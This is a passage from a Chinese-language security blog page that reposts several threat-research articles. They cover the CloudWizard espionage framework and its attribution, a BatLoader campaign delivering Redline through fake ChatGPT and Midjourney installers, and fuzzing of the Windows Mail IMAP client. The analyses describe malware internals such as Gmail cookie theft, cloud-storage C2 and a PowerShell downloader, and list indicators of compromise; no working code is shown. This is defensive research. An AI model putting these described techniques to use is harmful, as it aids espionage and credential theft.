在啟動時，Orchestrator生成一個掛起的WmiPrvSE.exe進程並將自身注入其中。從WmiPrvSE.exe進程中，它對VFS文件進行備份，複製mod。 LRC到mods, lrs。然後解析mod。獲取所有框架模塊dll及其配置。如上所述，配置是帶有字典對象的JSON文件:

5.png

Orchestrator本身包含一個配置，其參數如下：

受害者ID（例如03072020DD）；

框架版本（最新觀測版本為5.0）；

連續兩次檢測信號之間的間隔時間；

啟動模塊後，Orchestrator開始通過發送檢測信號消息與攻擊者通信。每次檢測信號都是一個JSON文件，包含受害者信息和加載模塊列表：

6.png

此JSON字符串使用加密模塊（來自VFS的Crypton.dll）加密，並通過互聯網通信模塊（internet.dll）發送給攻擊者。

作為對檢測信號的響應，Orchestrator接收允許其執行模塊管理的命令：安裝、啟動、停止、刪除模塊或更改其配置。每個命令都包含魔術字節（DE AD BE EF）和一個JSON字符串(e.g. {“Delete”: [“Keylogger”, “Screenshot”]})，後面跟著一個模塊DLL文件。

7.png

加密與通信如上所述，每次安裝CloudWizard框架時都會捆綁兩個模塊（Crypton.dll和Internet.dll）。 Crypton模塊對所有通信進行加密和解密。它使用兩種加密算法：

檢測信號消息和命令使用AES加密（密鑰在JSON配置VFS文件中指定）；

使用AES和RSA的組合對其他數據（例如，模塊執行結果）進行加密。首先，使用生成的偽隨機AES會話密鑰對數據進行加密，然後使用RSA對AES密鑰進行加密。

8.png

互聯網連接模塊將加密數據轉發給惡意軟件操作者。它支持四種不同的通信類型:

雲存儲:OneDrive, Dropbox, Google Drive；

基於Web的C2服務器；

主雲存儲是OneDrive，如果OneDrive無法訪問，則使用Dropbox和Google Drive。該模塊的配置包括雲存儲身份驗證所需的OAuth令牌。

至於web服務器終端，則在模塊無法訪問三個雲存儲中的任何一個時使用。為了與它交互，它向其配置中指定的URL發出GET請求，並在響應中獲取新命令。這些命令可能包括新的雲存儲令牌。

在檢查網絡模塊的字符串時，我們發現了一個包含來自開發人員計算機的目錄名的字符串：D:\Projects\Work_2020\Soft_Version_5\Refactoring。

模塊介紹信息收集是通過輔助DLL模塊完成的，這些模塊具有以下導出函數：

Start：啟動模塊；

Stop：停止模塊；

Whoami：返回帶有模塊信息(e.g. {“Module”:”Keylogger “,”time_mode”:”2″,”Version”:”0.01″})的JSON-object，time_mode的值表示該模塊是否是持久化的；

GetResult：返回模塊執行的結果(例如收集的屏幕截圖，麥克風錄音等)。大多數模塊以ZIP的形式返回結果（存儲在內存中）；

GetSettings：返回模塊配置；

模塊可以在重新啟動後繼續（在本例中，它們保存在mods.lrs VFS文件中）或在內存中執行，直到計算機關閉或操作員刪除模塊。

我們總共發現了9個輔助模塊執行不同的惡意活動，如文件收集、鍵盤記錄、截屏、錄製麥克風和竊取密碼。

我們最感興趣的模塊是從Gmail帳戶中執行電子郵件洩露的模塊。為了竊取，它從瀏覽器數據庫讀取Gmail cookie。然後，它使用獲得的cookie通過向https://mail.google.com/mail/u/

9.png

如果模塊收到這樣的提示，它模擬點擊“我想使用HTML Gmail”按鈕，通過從提示的HTML代碼向URL發出POST請求。

10.png

在獲得對傳統web客戶端的訪問權限後，該模塊會過濾活動日誌、聯繫人列表和所有電子郵件。

同樣有趣的是，這個模塊的代碼部分是從洩露的黑客團隊源代碼中藉來的。

在獲得CloudWizard的Orchestrator（MySQL 複製拓撲管理和可視化工具）及其模塊後，研究人員還未發現框架安裝程序。在搜索舊的分析數據時，我們能夠識別出從2017年到2020年使用的多個安裝程序。當時安裝的植入程序的版本是4.0(如上所述，我們觀察到的最新版本是5.0)。

未覆蓋的安裝程序是用NSIS構建的。啟動時，它會釋放三個文件：

C:\ProgramData\Microsoft\WwanSvc\WinSubSvc.exe；

C:\ProgramData\Microsoft\MF\Depending.GRL(在其他版本的安裝程序中，此文件也位於C:\ProgramData\Microsoft\MF\etwdrv.dll中)；

C: \ ProgramData \ System \ \ etwupd.dfg；

之後，它創建了一個名為“Windows Subsystem Service”的服務，該服務被配置為在每次啟動時運行WinSubSvc.exe二進製文件。

值得注意的是，安裝程序在感染後會顯示一條“Well done!”的消息：

11.png

這可能表明我們發現的安裝程序用於通過對目標計算機的物理訪問來部署CloudWizard，或者安裝程序試圖模擬網絡設置（如窗口標題中所示）配置程序。

舊版（4.0）和新版（5.0）CloudWizard有主要有以下區別：

舊版（4.0）網絡通信和加密模塊包含在主模塊中，而新版（5.0）網絡通信和加密模塊相互獨立；

舊版（4.0）框架源文件編譯目錄：D:\Projects\Work_2020\Soft_Version_4\ service，而新版（5.0）框架源文件編譯目錄是D:\Projects\Work_2020\Soft_Version_5\Refactoring；

舊版（4.0）使用RC5Simple庫中的RC5(硬編碼密鑰:7Ni9VnCs976Y5U4j)進行C2服務器流量加密和解密，而新版（5.0）使用RSA和AES進行C2服務器流量加密和解密(密鑰在配置文件中指定)。

幕後組織對CloudWizard進行細緻研究之後，研究人員決定尋找一些其幕後組織的線索。 CloudWizard讓研究人員想起了在烏克蘭觀察到並公開報導的兩次活動：Groundbait活動和BugDrop活動。 ESET於2016年首次公開了Groundbait活動，並於2008年首次觀察到其植入程序。在調查“Groundbait”活動時，ESET發現了Prikormka惡意軟件，這是第一個被公開有明確攻擊目標的烏克蘭組織開發的惡意軟件。根據ESET的報告，其幕後組織很可能來自烏克蘭。

至於BugDrop活動，這是CyberX在2017年發現的一個活動。該組織聲稱BugDrop活動與Groundbait活動有相似之處。卡巴斯基實驗室的研究人員也發現了類似的證據：

1.Prikormka USB DOCS_STEALER模塊(MD5: 7275A6ED8EE314600A9B93038876F853B957B316)包含PDB路徑D:\My\Projects_All\2015\wallex\iomus1_gz\Release\iomus.pdb；

2.BugDrop USB竊取模塊(MD5: a2c27e73bc5dec88884e9c165e9372c9)包含PDB路徑D:\My\Projects_All\2016\iomus0_gz\Release\usdlg.pdb；

再加上以下證據，CloudWizard框架的幕後組織與Groundbait活動和BugDrop活動幕後組織是一致的：

3.ESET研究人員發現，CloudWizard 4.0版本的加載程序(導出名稱為LCrPsdNew.dll)與Prikormka dll類似。

12.png

4.ESET檢測到CloudWizard 4.0樣本(MD5: 406494bf3cabbd34ff56dcbeec46f5d6, PDB path: D:\Projects\Work_2017\Service\Interactive Service_system\Release\Service.pdb)的加載程序為Win32/Prikormka.CQ。

5.Prikormka惡意軟件的多次感染都導致了CloudWizard框架的感染；

6.CloudWizard的幾個模塊實現類似於Prikormka和BugDrop模塊的相應模塊，不過由C變成了c++，USB竊取模塊通過IOCTL_STORAGE_QUERY_PROPERTY系統調用檢索連接的USB設備的序列號和產品ID。運行失敗的默認回退值為“undef”。

13.png

在BugDrop中檢索USB設備序列號和產品ID（MD5:F8BDE730EA3843441A657A103E90985E）

14.png

在CloudWizard中檢索USB設備序列號和產品ID（MD5:39B01A6A025F672085835BD699762AEC）

15.png

在上面的樣本中，在BugDrop（左）和CloudWizard（右）中分配“undef”字符串

7.用於截圖的模塊使用相同的窗口名稱列表來觸發截圖頻率的增加:“Skype”和“Viber”。 CloudWizard和Prikormka的截屏間隔使用相同的默認值(15分鐘)。

16.png

Prikormka中窗口標題文本的比較(MD5: 16793D6C3F2D56708E5FC68C883805B5)

17.png

在CloudWizard中將“SKYPE”和“VIBER”字符串添加到一組窗口標題中（MD5:26E55D10020FBC75D80589C081782EA2）

8.Prikormka和CloudWizard樣本中的文件列表模塊具有相同的名稱：Tree。它們也對目錄列表使用相同的格式字符串：“\t\t\t\t\t(%2.2u,%2.2u.%2.2u.%2.2u)\n”。

18.png

在Prikormka（MD5:EB56F9F7692F933BEE9660DFDFABAE3A）和CloudWizard（MD5:BF64B896B525B5870FE61221D9934D）中使用相同格式的字符串作為目錄列表

9.麥克風模塊以相同的方式錄製聲音：首先使用Windows Multimedia API製作WAV錄製，然後使用LAME庫將其轉換為MP3。雖然這種模式在惡意軟件中很常見，但用於指定LAME庫設置的字符串是特定的：8000 Hz和16 Kbps。 Prikormka和CloudWizard模塊都從這些字符串中提取整數，並在LAME庫中使用它們。

10.在Prikormka和CloudWizard模塊中的擴展列表中使用了類似的擴展順序：

19.png

Prikormka（MD5:EB56F9F7692F933BEE9660DFDFABAE3A）和CloudWizard（MD5:BF64B896B5253B5870FE61221D9934D）中的擴展列表

11.在Prikormka中，上傳至C2服務器的文件名格式為mm.yy_hh.mm.ss.

12.Prikormka和CloudWizard的C2服務器都由位於烏克蘭的託管服務託管。此外，在將文件洩露到Dropbox雲存儲方面，BugDrop和CloudWizard也有相似之處。

13.Prikormka、BugDrop和CloudWizard的受害者位於烏克蘭西部和中部，以及東歐的衝突地區。

CloudWizard和CommonMagic的相似之處如下：

14.在兩個框架中，執行與OneDrive通信的代碼是相同的。研究人員目前還沒有發現這段代碼是任何開源庫的一部分。此代碼使用相同的用戶代理:“Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML，如Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10136”。

20.png

CloudWizard的互聯網通信模塊中的相同字符串(左，MD5: 84BDB1DC4B037F9A46C001764C115A32)和CommonMagic(右，MD5: 7C0E5627FD25C40374BC22035D3FADD8)

15.CloudWizard版本4和CommonMagic這兩個框架都使用RC5Simple庫進行加密。用RC5Simple加密的文件以一個7字節的標頭開始，在庫源代碼中設置為' RC5SIMP '。然而，這個值在惡意植入程序中已經發生了變化：CloudWizard中的DUREX43和CommonMagic中的Hwo7X8p。此外，CloudWizard和CommonMagic使用RapidJSON庫解析JSON對象。

16.在CommonMagic中上傳到C2服務器的文件名格式為“mm.dd _hh.mm.ss.ms.dat”(CloudWizard中上傳的文件名格式為“dd.mm.yyyy_hh.mm.ss.ms.dat”)。

17.從CloudWizard和CommonMagic樣本中提取的受害者ID是相似的：它們包含後跟兩個相同字母的日期，例如CloudWizard中的03072020DD, 05082020BB和CommonMagic中的WorkObj20220729FF。

18.CommonMagic和CloudWizard的受害者位於東歐的衝突地區。

21.png

總結卡巴斯基實驗室的研究人員早在2022年就開始了調查，最終發現CloudWizardAPT活動與兩個相關的大型模塊化框架：CommonMagic和CloudWizard。研究表明，CommonMagic和CloudWizard幕後組織發起的攻擊可以追溯到2008年，那一年首次發現了Prikormka樣本。自2017年以來，類似攻擊就銷聲匿跡了。然而，這兩個活動背後的組織並沒有消停，一直開發他們的工具集並攻擊感興趣的目標。

22.png

HireHackking

5月初，eSentire威脅響應小組（TRU）發現了一起進行中的BatLoader活動，該活動利用谷歌搜索廣告來投遞冒充ChatGPT和Midjourney的虛假網頁：

• ChatGPT是一款人工智能聊天機器人，於2022年11月發布，自那以後就大受歡迎。

• Midjourney是一項生成式人工智能服務，通過該服務，用戶可以提交文本提示來生成圖像。

這兩種AI服務都極受歡迎，但缺少第一方獨立應用程序（即用戶通過其Web界面與ChatGPT進行交互，而Midjourney使用Discord）。

威脅分子利用了這一空檔，企圖將尋找AI應用程序的網民吸引到推廣宣傳虛假應用程序的冒充網頁。

在最新的活動中，BatLoader使用MSIX Windows應用程序安裝程序文件用Redline信息竊取器感染設備。這不是BatLoader第一次針對搜索AI工具的用戶了。在2023年2月，TRU發現了一系列新註冊的BatLoader域名，其中包括chatgpt-t[.]com。

概述ChatGPT冒充廣告引起的Redline感染初始下載在這個例子中，感染可以追溯到谷歌搜索“chatbpt”，這將人引到託管在hxxps://pcmartusa[.]com/gpt/上的ChatGPT冒充下載頁面：

1.png

圖1. ChatGPT冒充頁面。

下載鏈接指向advert-job[.]ru，然後指向代表最終攻擊載荷的job-lionserver[.]site。 job-lionserver[.]site之前被稱為是BatLoader攻擊載荷網站。

2.png

圖2. 追根溯源後發現，HTTP事務指向job-lionserver[.]site上的最終下載。

Chat-GPT-x64.msixChat-GPT-x64.msix（md5hash：86a9728fd66d70f0ce8ef945726c2b77）是一種用於安裝應用程序的Windows應用程序包格式。

3.png

圖3. Chat-GPT-x64.msix文件屬性。

Windows要求組成MSIX應用程序的所有文件都使用一個通用簽名進行簽名。該包由ASHANA GLOBAL LTD數字簽名：

4.png

圖4. Chat-GPT-x64.msix簽名細節。

仔細檢查該包的內容，我們可以看到安裝過程中使用的各項資產：

5.png

圖5. MSIX包中的應用程序資產。

查看AppXManifest文件，我們可以看到該包由一個說俄語的人使用帶有專業許可證的高級安裝程序（Advanced Installer）版本20.2創建而成

6.png

圖6. MSIX文件屬性。

7.png

圖7. MSIX文件屬性和元數據。

在高級安裝程序中打開包，我們可以看到該應用程序將啟動一個可執行文件（ChatGPT.exe）和一個PowerShell腳本（Chat.ps1）。

8.png

圖8. Chat-GPT-x64.msix起始點和權限。

9.png

圖9. 安裝過程中執行的Chat-GPT-x64.msix PowerShell指令

安裝程序還將使用ChatGPT徽標，針對2018年10月更新-1809和2022年10月更新- 22H2之間的Windows桌面版本。

點擊安裝程序文件將啟動Windows應用程序安裝程序嚮導：

10.png

圖10. Windows 10應用程序安裝程序嚮導。該應用程序由ASHANA GLOBAL LTD.簽名。

文件簽名對於MSIX包而言至關重要，安裝程序不允許你在沒有可信證書籤名的情況下執行下一步（Windows 10要求所有應用程序都使用有效的代碼簽名證書進行簽名）。

11.png

圖11. 若沒有有效的簽名，Chat-GPT-x64.msix安裝將無法進行下去。

在安裝過程中，Chat.ps1和ChatGPT.exe在aistubx64.exe的上下文中執行。

12.png

圖12. Process Hacker輸出顯示安裝過程中PowerShell的執行行為。

Chat.ps1是一個基本的PowerShell下載載體。在這種情況下，它下載Redline信息竊取器，並將其從adv-pardorudy[.]ru下載到內存中。腳本還執行對C2提出的兩個請求：

• Start.php：記錄感染的開始時間以及受害者的IP地址。

• Install.php：記錄攻擊載荷在adv-pardorudy[.]ru上的成功安裝、安裝時間以及受害者的IP地址。

攻擊者執行這些操作是為了便於跟踪統計信息，從而使他們能夠輕鬆識別成功感染的受害者，並圍繞特定的活動或主題跟踪度量指標。

13.png

圖13. Chat.ps1使用三個web請求來表示感染開始、攻擊載荷檢索和Redline的成功安裝。

這個Redline樣本（md5hash 7716F2344BCEBD4B040077FC00FDB543）經配置後，使用Bot ID“ChatGPT_Mid”連接到IP 185.161.248[.]81，這個Bot ID暗指這起活動中使用的兩個誘餌（ChatGPT和MidJourney）。

14.png

圖14. Redline文件屬性。

仔細檢查ChatGPT.exe，TRU發現該可執行文件使用Microsoft Edge WebView2，在安裝後的彈出窗口中加載https://chat.openai.com/。

15.png

圖15. 進程樹顯示ChatGPT.exe在精簡的瀏覽器中加載實際的ChatGPT網頁。

其主要功能是轉移用戶的注意力，確保他們安裝了一個有效的應用程序。結果是彈出的窗口含有嵌入在基本瀏覽器窗口中的實際ChatGPT網頁。這個可執行文件的其他功能目前不得而知。

16.png

圖16. 安裝後的Chatgpt.exe窗口。 https://chat.openai.com/使用Microsoft Edge WebView2來加以顯示。

Midjourney冒充廣告引起的Redline感染在2023年5月的另一個案例中，TRU觀察到類似的感染陰謀，企圖推廣宣傳Midjourney冒充頁面。這導致用戶下載Midjourney-x64.msix，這是由ASHANA GLOBAL LTD.簽名的Windows應用程序包。

17.png

圖17. Midjourney-x64.msix安裝。

在這個案例中，安裝程序執行一個經過混淆處理的PowerShell腳本（Chat-Ready.ps1），該腳本最終與圖13中所示的腳本相同，只是使用了不同的C2域。

18.png

圖18. Midjourney-x64.msix PowerShell執行。

19.png

圖19. 安裝後的midjourney.exe。在精簡版瀏覽器窗口中加載https://www.midjourney.com/。

我們做了什麼？ • TRU針對全球客戶的環境進行了積極主動的威脅搜索，以搜索已識別的應用程序包。

• 我們部署了新的檢測內容來識別MSIX應用程序包濫用活動。

• 我們的24/7全天候SOC網絡分析師團隊提醒受影響的客戶，並提供了補救指導和支持。

你能從中學到什麼？ • 生成式AI技術和聊天機器人在2023年大受歡迎。遺憾的是，當系統管理員想方設法控制對這些平台的訪問時，用戶可能會另闢蹊徑以訪問它們。

• 威脅分子一直熱衷於利用這些大受歡迎的工具，承諾無限制地訪問。

• 我們的遙測數據顯示，濫用谷歌搜索廣告的現像在2022年第四季度和2023年初達到了頂峰。成功率已有所下降，這表明谷歌已經對濫用其廣告服務的行為進行了打壓。然而，最近這起活動表明，惡意廣告仍然可以避開審核員的視線，向受害者投遞惡意軟件。

該活動與之前發現的BatLoader活動有幾個相似之處：1. 使用谷歌搜索廣告冒充主要的品牌和服務。

2. 使用高級安裝程序創建安裝包。

3. 攻擊載荷站點job-lionserver[.]site以前歸因於BatLoader。

4. 竊取信息的惡意軟件攻擊載荷。

我們威脅響應小組（TRU）團隊的建議：• 提高對偽裝成合法應用程序的惡意軟件的意識，並在貴公司的網絡釣魚和安全意識培訓（PSAT）計劃中加入相關示例，以教育員工如何保護自己免受類似的網絡威脅。

○切記，一項有效的PSAT計劃強調通過提高風險意識來確保網絡彈性，而不是試圖把每個人都變成安全專家。

• 保護端點免受惡意軟件侵害。

○確保反病毒特徵是最新的。

○使用下一代反病毒軟件（NGAV）或端點檢測和響應（EDR）產品來檢測和遏制威脅。

• Windows Defender應用程序控制提供了管理打包應用程序（MSIX）的選項。詳見https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/manage-packaged-apps-with-windows-defender-application-control。

HireHackking

網絡協議是一組規則，定義了用於解釋計算機發送的原始數據的標準格式和過程。網絡協議就像計算機的通用語言。網絡中的計算機可能使用截然不同的軟件和硬件；協議的作用就是使其可以相互通信。

許多網絡協議服務於不同的目的，其中一些可能很複雜。由於其固有的複雜性，網絡應用程序中的安全漏洞是不可避免的。與其他攻擊媒介相比，網絡應用程序中的安全漏洞通常會產生更顯著的安全影響，因為攻擊者可能能夠利用這些漏洞在易受攻擊的計算機上獲得遠程代碼執行狀態，而無需任何用戶交互。我們已經在現實生活中看到過此類攻擊，例如臭名昭著的WannaCry勒索軟件，它利用簡單消息塊(SMB)協議（稱為EternalBlue）通過加密數據和要求以比特幣加密貨幣支付贖金來攻擊MicrosoftWindows計算機。迄今為止，據估計，這種惡意軟件已經影響了150個國家的20多萬台電腦。

強化網絡應用程序是一項關鍵任務，可以最大限度地減少WannaCry等攻擊媒介。研究人員致力於確保使用網絡協議模糊測試等工具正確保護許多最流行的網絡應用程序。這種漏洞發現技術將格式錯誤的數據包發送到正在測試的應用程序，以發現網絡協議實現中的漏洞。發現並報告這些漏洞，特別是在常用應用程序中，有助於降低每個人的網絡風險。

Fortinet的研究人員與其他威脅研究團體一起幫助實現這一目標。在本博客中，我們記錄了審核和模糊測試MicrosoftInternet消息訪問協議(IMAP)客戶端協議的過程。雖然我們沒有發現任何新漏洞，但詳細的指南可以幫助其他人在他們的威脅發現和分析工具庫中添加或改進模糊技術策略。

為什麼選擇IMAP客戶端協議？網絡應用程序使用客戶端和服務器架構來交換數據。然而，即使它們共享相同的網絡協議規範，客戶端和服務器之間的數據解釋也是不同的。數據解釋通常由在各個組件中實現的解析器按照單獨的規範執行。因此，研究人員必須同時檢查客戶端和服務器，以確保解析器正確實現。

我們的經驗表明，在審計安全實現時，服務器比客戶端更受研究人員的關注。但是，不太安全的客戶端也可能包含可以被利用的高價值目標。但是由於我們沒有看到供應商公開報告的許多IMAP客戶端安全問題，我們決定研究IMAP客戶端實現，同時獲得一些關於開源模糊器WhatTheFuzz(WTF)的實踐經驗。 WTF是一種分佈式、代碼覆蓋引導、可定制、跨平台的基於快照的模糊器，旨在攻擊運行在MicrosoftWindows上的用戶或內核模式目標。

本文中沒有漏洞披露，因為我們沒有在MicrosoftIMAP客戶端中發現任何安全問題。但我們確實分享了一些兔子洞、我們遇到的限制以及調試WTF模糊器模塊的提示和技巧。我們還將介紹一個特別有趣的IMAP響應輸入的逆向過程，該輸入最初似乎很脆弱，但在深入研究代碼後發現是良性的。

了解基本IMAP協議IMAP客戶端支持用於不同IMAP操作的各種命令。客戶端命令開始一個操作並期望來自服務器的響應。每個客戶端命令都以稱為“標記”的標識符作為前綴。對於客戶端發送的每個命令，這個“標籤”應該是唯一的。通常，客戶端命令如下所示：

1.png

重要的是，客戶端必須嚴格按照規範遵循語法。發送缺少或無關的空格或參數的命令是一個語法錯誤。

IMAP連接包括建立客戶機/服務器網絡連接、來自服務器的初始問候以及客戶機/服務器交互。這些客戶機/服務器交互包括客戶機命令、服務器數據和服務器完成結果響應。

客戶端和服務器傳輸的所有交互都是行的形式，即以回車和換行結尾的字符串。

客戶端需要做的第一件事是在特定端口上與遠程服務器建立連接。在這種情況下，我們使用openssl從終端連接到自定義IMAP服務器。

2.png

注意到服務器狀態響應以“*”為前綴，稱為未標記響應，表示服務器問候，或服務器狀態不表示命令完成（例如，即將發生的系統關閉警報）。

客戶端通常發送的下一個命令是CAPABILITY。 CAPABILITY命令允許客戶端獲取服務器支持的功能列表。未在未標記響應中列出的任何功能都將被標記響應中指示的服務器視為BAD命令。

3.png

狀態響應可以加標籤或不加標籤。標記狀態響應指示客戶端命令的完成結果（OK、NO或BAD狀態），並具有與命令匹配的前綴標記。

客戶端必須先向IMAP服務器進行身份驗證，然後才能導航郵箱。有一些IMAP服務器實現允許匿名訪問某些郵箱。像下面的例子一樣，我們的自定義IMAP服務器允許匿名訪問。但是，值得注意的是，經過身份驗證的客戶端的功能列表通常與未經身份驗證的客戶端不同。登錄的客戶端通常包含更多來自IMAP服務器的未鎖定功能。

4.png

現在客戶端已登錄，它可以列出郵箱中存在的文件夾

5.png

這樣，我們就可以看到郵箱中存在的文件夾層次結構。文件夾具有名稱屬性，在括號中表示。一些屬性對於遍歷文件夾層次結構很有用，例如HasNoChildren和HasChilden。 HasNoChildren屬性的存在表明郵箱沒有當前經過身份驗證的客戶端可訪問的後來郵箱。

在知道郵箱的文件夾結構後，客戶端可以使用SELECT命令在該文件夾上打開一個會話，以便訪問郵箱中的郵件。

6.png

當返回選中狀態時，服務器必須先將上述未標記的數據發送給客戶端，然後再向客戶端返回OK。如果選擇狀態建立成功，則稱客戶端處於選擇狀態，可以從郵箱中搜索和下載消息。

7.png

SEARCH命令在郵箱中搜索與給定搜索條件匹配的郵件。搜索條件由一個或多個搜索關鍵字組成。它可以支持更全面的搜索條件，例如查找具有指定字段名稱的標題並且在標題的文本中包含指定字符串的消息。上面的示例顯示了最簡單形式的SEARCH命令，它將搜索服務器中的所有可用消息。未標記的響應表明自定義IMAP服務器中有一條消息可用。

一些客戶端提供電子郵件消息的預覽。這可以通過使用FETCH命令僅下載消息標頭來完成。而UIDFETCH命令將下載整個電子郵件消息並將其本地存儲在客戶端應用程序中。

8.png

IMAP客戶端—服務器的狀態和流程圖

使用IMAP客戶端模糊器的可能性在現代模糊控制中，需要有一個線束與主模糊控製程序一起驅動模糊控制操作。雖然這不是強制性的WTF模糊器，一個專用的模糊器模塊是必需的。如果你有AFL/WinAFL的經驗，很多時間將花費在編寫一個有效的harness程序上，但是你將花費大部分時間開發和排除WTF模糊器模塊的故障。在內部，WTF模糊器充當模擬器，以編程方式模擬由模糊器模塊驅動的內存轉儲中的代碼。基本上，模糊器模塊的核心由函數斷點和斷點處理程序組成。這些斷點處理程序由用於不同目的的邏輯組成，例如攔截和修改目標使用的輸入數據，以及復制功能(如I/O操作、註冊表操作和線程調度)。該項目的存儲庫為模糊器開發過程提供了全面的指導方針。

首先，必須確定要模糊化的目標組件，並轉儲一個虛擬映像的快照，以供模糊化模塊使用。根據來自項目存儲庫的文檔，該快照映像通常取自感興趣的目標模塊的入口點，其中解析器例程使用輸入數據。在MicrosoftIMAP客戶端中，InternetMail.dll是實現IMAP和POP3客戶端協議的目標組件。這個DLL模塊由Windows服務宿主進程託管，也被稱為svchost.exe。

WindowsMail是與該模塊交互的前端用戶界面(UI)，用戶可以通過該界面設置IMAP帳戶，並從郵件服務器下載郵件消息。在編寫我們的IMAP客戶端模糊器模塊時，我們遇到了許多障礙，幸運的是，其中一些在項目的問題跟踪器中有部分記錄。儘管大多數障礙都是針對於你所致力於的任何目標，我們認為記錄這些挑戰和我們的工作區可能會有所幫助。

為IMAP客戶端模糊器模塊開發做準備為WTF模糊器編寫一個模糊器模塊並不是一件容易的事。這是因為我們試圖從內存轉儲中模擬代碼。在軟件模擬世界中，你不能期望模擬代碼的行為與在本機設備上執行的代碼相同。因此，要使模擬按預期工作，需要解決許多障礙。因此，在開始之前確定適當的工具來跟踪和調試模糊器模塊是至關重要的。

WTF模糊器支持兩種類型的跟踪文件，覆蓋跟踪日誌和Tenet跟踪文件。基本上，覆蓋跟踪日誌包含模擬器正在執行的每條指令的跟踪。它有助於診斷大多數模糊器模塊問題。 Tenet跟踪文件包含每條執行的指令以及每條指令操作的內存/堆棧數據。 Tenet插件只能使用一個Tenet跟踪文件。 Tenet是一款出色的跟踪記錄和回放IDAPro插件，可用於離線調試。 WTF模糊器生成的Tenet跟踪文件可以通過IDAPro回放。這樣，它允許用戶探索已執行的代碼，甚至分析讀取/寫入內存/堆棧的數據，從而使調試和故障排除模糊器模塊變得更加容易。

但是，需要注意的是，如果記錄的跟踪文件太大，插件需要很長時間來處理它。例如，一個幾千兆字節的跟踪文件很容易占據大部分主機內存，這可能無法通過IDAPro重播跟踪。作為一種解決方法，我們向WTF模糊應答器引入了一個“——trace-start -address”命令行參數，以便模糊應答器只有在到達指定地址時才開始跟踪。這個新引入的命令行參數顯著減少了跟踪文件的大小。然而，這種過濾機制的結果在某些情況下並不是很成功。我們有時仍然會得到一個大的跟踪文件，因為所關心的函數中的起始地址不是唯一的。例如，函數可能會在多個不確定的位置觸發，導致跟踪器意外觸發，這就違背了我們的目標。

99.png

經過測試，我們發現WinDbg Preview中的time - trip - debugging (TTD)特性也可以用於離線調試。 WinDbg預覽將附加一個正在運行的進程，並在目標進程中註入一個TTD專有的跟踪DLL。注入的跟踪程序DLL負責捕獲目標進程的運行時執行，並將執行的代碼保存在存儲在物理磁盤中的跟踪文件中。為了模擬這個過程，我們創建了一個簡單的IMAP服務器，它讀取以JSON格式定義的IMAP數據包，並在IMAP連接建立時將數據包發送給連接的客戶端Windows Mail。同時，WinDbg Preview被附加到Windows主機進程，用於服務記錄代碼執行情況。這種方法的缺點是每次只能手動生成一個執行跟踪。但是，TTD仍然是一個有用的特性，可以補充離線調試體驗。

10.png

為目標可執行文件生成代碼執行跟踪的替代方法

另一個用例通過比較TTD和Tenet生成的跟踪信息，利用差異調試技術對模糊器模塊產生的更多問題進行深度故障排除。儘管如此，Tenet仍然是在模糊器模塊開發過程中產生跟踪文件來調試更複雜問題的首選。

接下來我們將分享一些技巧，這些技巧可以直接從覆蓋跟踪日誌中而不是使用Tenet跟踪文件來確定一些更明顯的問題。這有望為你節省模糊器模塊開發的時間。

開發IMAP客戶端模糊器模塊WTF模糊器模塊在WTF框架之上運行。每個模糊器模塊必須實現WTF框架註冊的回調函數，然後由WTF可執行文件觸發。

IMAP包括創建、刪除和重命名郵箱、檢查新消息、永久刪除消息、設置和清除標誌以及選擇性獲取消息屬性和文本的操作。因此，為IMAP協議實施一個全面的突變策略可能會耗時。在本例中，我們只關注Windows Mail用於與IMAP服務器交互的特定IMAP命令。首先，我們將WinDbg預覽調試器附加到目標進程，以生成Windows Mail與真實的IMAP服務器(Gmail)交互的執行跟踪，以收集IMAP事務中的典型命令。清單1顯示了調試器的輸出，包括由Windows Mail客戶機發送到Gmail服務器的IMAP命令。

11.1.png

11.2.png

清單1：WindowsMail客戶端發送的調試器輸出IMAP命令

這樣我們的變異方法側重於NAMESPACE、LIST、SELECT、SEARCH和FETCH命令的IMAP響應。我們決定跳過對UIDFETCH命令的模糊測試，因為此響應處理程序涉及對本地文件系統中的消息數據庫的讀/寫。不幸的是，即使WTF默認提供了I/O子系統模擬框架，對於我們的案例來說，這個操作也無法輕鬆實現。我們認為這是一種合理的權衡，因為大多數重要的解析操作(如消息頭解析器)都在FETCH命令中進行。

IMAP數據包由此處規範定義的一系列結構化文本消息組成。因此，我們的IMAP數據包變異策略也需要具有結構感知能力。受著名的結構感知突變庫libprotobuf-mutator的啟發，我們使用JSON文件格式來存儲每個突變的IMAP響應。這個JSON文件將作為模糊器模塊的輸入測試用例。根據規範，JSON對象的關鍵組件是ResponseParams，它由IMAP客戶端將解釋的核心數據組成。儘管如此，我們的突變器將專注於從ResponseParams、ResponseStatus和ResponseType中改變數據。

12.1.png

12.2.png

12.3.png

12.4.png

12.5.png

清單2：示例IMAP響應輸入測試用例

本文主要講的是理論上的可能性，下一篇文章，我們會詳細介紹實踐中遇到的一些挑戰。

HireHackking

上一篇文章主要講的是理論上的可能性，本文，我們會詳細介紹實踐中遇到的一些挑戰。

挑戰1：可擴展存儲引擎緩存清理WindowsMail利用統一的存儲數據庫將電子郵件數據（例如電子郵件地址和消息）保存在本地文件系統中。此數據庫位於路徑%LOCALAPPDATA%\Comms\UnistoreDB\store.vol。可擴展存儲引擎(ESENT)使用專有的二進制格式為其數據結構構建數據庫。這種二進制格式可以使用像ESEDatabaseView這樣的工具來查看。使用ESENT的好處是它有一個緩存機制，可以最大限度地高性能訪問數據。這種緩存機制是我們遇到的第一個障礙。

在後台，緩存緩衝區根據系統服務啟動UserDataService時初始化的ESENT參數JET_paramVerPageSize分配一個大小。默認緩存大小為0x2000，必須與頁面大小粒度對齊。但是，這在WTF模糊器模塊的上下文中成為一個問題。

問題是，當緩存緩衝區已滿時，ESENT將工作項排隊以清除緩存緩衝區。工作項是程序可以提交給線程池的子例程。工作項是異步執行的，並且調度程序系統會根據系統資源的可用性發出警報。遺憾的是，這是一個複雜的機制，WTF模糊器無法模擬。因此，fuzzer模塊將在上下文切換時退出，當它碰到線程API（例如，KERNELBASE!QueueUserWorkItem）時退出。讓模糊器超越上下文切換是對CPU時間的浪費。這就是為什麼你應該在每個WTF模糊器模塊中找到類似的斷點處理程序的原因：

133.png

在上下文切換期間停止模糊器模塊的斷點處理程序

